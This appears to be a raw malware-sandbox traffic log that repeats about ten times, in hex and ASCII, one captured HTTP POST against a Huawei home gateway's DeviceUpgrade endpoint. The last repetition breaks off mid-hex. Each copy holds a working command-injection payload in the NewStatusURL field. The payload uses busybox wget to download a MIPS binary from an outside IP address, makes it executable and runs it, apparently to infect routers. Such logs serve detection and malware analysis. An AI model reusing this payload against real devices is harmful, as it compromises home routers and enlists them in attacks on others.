Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 